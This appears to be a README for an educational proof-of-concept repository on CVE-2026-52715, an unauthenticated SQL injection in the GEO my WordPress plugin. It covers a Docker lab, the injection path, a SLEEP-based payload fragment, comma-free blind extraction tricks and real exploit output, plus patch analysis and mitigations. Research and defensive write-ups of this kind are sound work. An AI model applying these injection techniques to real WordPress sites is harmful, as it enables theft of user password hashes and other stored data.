
CVE-2026-52715(GeoLeak)の実用的なPoC:GEO my WordPress <= 4.5.5 における swlatlng/nelatlng 経由の未認証SQLi。Dockerラボ + time-based/boolean-basedエクスプロイト + ペイロード内カンマ不使用のデータ流出。
WordPress 用プラグイン GEO my WordPress <= 4.5.5 における未認証 SQL インジェクション(CVSS 9.3)である GeoLeak(CVE-2026-52715)の教育用 Proof of Concept。マップ境界のパラメータ
swlatlngとnelatlngは、WHERE 句にサニタイズなしで補間されます。自己完結型 Docker ラボ + time-based・boolean-based・1 文字ずつの排出手法を用いたエクスプロイト。
CVE-2026-52715 は、GEO my WordPress プラグインの gmw_get_locations_within_boundaries_sql() 関数における SQL インジェクション(CWE-89)であり、<= 4.5.5 の全バージョンに影響し、4.5.5.1(2026年6月15日)以降で修正されています。これは研究者 alvarodh5 によって発見され、Patchstack 経由で公開されました。
GeoLeak と名付けられた攻撃チェーンは、ショートコード [gmw] を含む任意の公開ページへの読み取りアクセスのみから、攻撃者が以下のことを実行できることを実証します:
swlatlng(または nelatlng)パラメータを介して任意の SQL を注入する。wp_gmw_locations に対する INNER JOIN の各行で評価される SLEEP() を使用して(time-based blind)、測定可能な遅延を発生させる。"total_results":N オラクルを使用して、ブール条件を推論する(boolean-based blind)。explode(',', ...) で値を分割する)を回避し、CASE WHEN と SUBSTRING(x FROM n FOR 1) を使用してデータベース全体を 1 文字ずつ外部に取り出す。その結果、WordPress データベースの任意読み取りが可能になります:wp_users テーブル(パスワードハッシュ)、設定オプション、キー、プラグインに保存された第三者データなど。
PoC では、GET リクエストのみで MariaDB の VERSION() を完全に抽出できることを検証します。
このリポジトリには、厳密に教育・防御目的の資料のみが含まれています。
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl と awkdocker-compose.yml でマッピングを変更すること)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
エクスプロイトで設定可能なパラメータ:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress へのアクセス:http://localhost:3080、認証情報は admin/admin。脆弱なフォームを含むページは http://localhost:3080/?page_id=5 です。
注:
wp_gmw_locationsのシード行が必須です。クエリはそのテーブルに対する INNER JOIN を使用するため、行が存在しないと注入された WHERE は評価されず、SLEEP()も待機しません。
ラボに対する最新の実行結果の実際の出力(2026年8月14日):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
データベースに対する直接のクロスチェック:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
パッチ適用済みバージョン(>= 4.5.5.1)に対しては、time-based フェーズはミリ秒単位で応答し、PoC は [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1) で終了します。
コード断片と正確な行番号を含む完全な詳細は、docs/analisis-tecnico.md を参照してください。主なポイント:
gmw_get_locations_within_boundaries_sql() が {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} を WHERE 句に直接補間する(4 箇所すべてが注入可能)。gmw_get_form_values() が許可リストなしの parse_str() でクエリ文字列全体を処理する。explode(',', $southwest) を実行するため、ペイロードにカンマを含めることはできない。PoC は IF(a,b,c) の代わりに CASE WHEN a THEN b ELSE c END を、SUBSTRING(x,n,1) の代わりに SUBSTRING(x FROM n FOR 1) を使用する。"total_results":N を公開する。エクスプロイトは長さの範囲()を調整し、条件が真の場合にシード行が生き残るようにする。実際の完全な diff は docs/diff-parche-4.5.5.1-gmw-functions.php.diff にあります。4.5.5 と 4.5.5.1 の間で異なるのは 3 つのファイルのみです(バージョン情報の geo-my-wp.php、チェンジログの readme.txt、includes/gmw-functions.php):
gmw_parse_latlng_boundary():|lat| <= 90 かつ |lng| <= 180 の有限な数値部分を正確に 2 つ要求する。gmw_get_form_values() は検証に失敗した値を unset() で破棄する。$wpdb->prepare() と %f プレースホルダを使用するように書き換えられる。プラグインの現在のバージョン:4.5.5.3(2026年7月)、パッチ適用済み。
swlatlng/nelatlng の非数値をブロックする WAF ルール、または仮想パッチ(Patchstack など)。[gmw] フォームにマップ境界検索が必要かどうかを確認する。swlatlng/nelatlng パターンへのアクセスを監視する。wp_users のハッシュを再検討する。このインジェクションにより読み取りが可能になるため。-10..1wp_posts.* の列と gmw フィールドを一致させる必要がある)。error-based は実用的でない(wpdb がエラーを抑制するため)。wp_ajax_nopriv_* ハンドラは、SQL を実行しないか(無料版)、nonce で保護されている。無料版における CVE のベクタはフォームの GET である。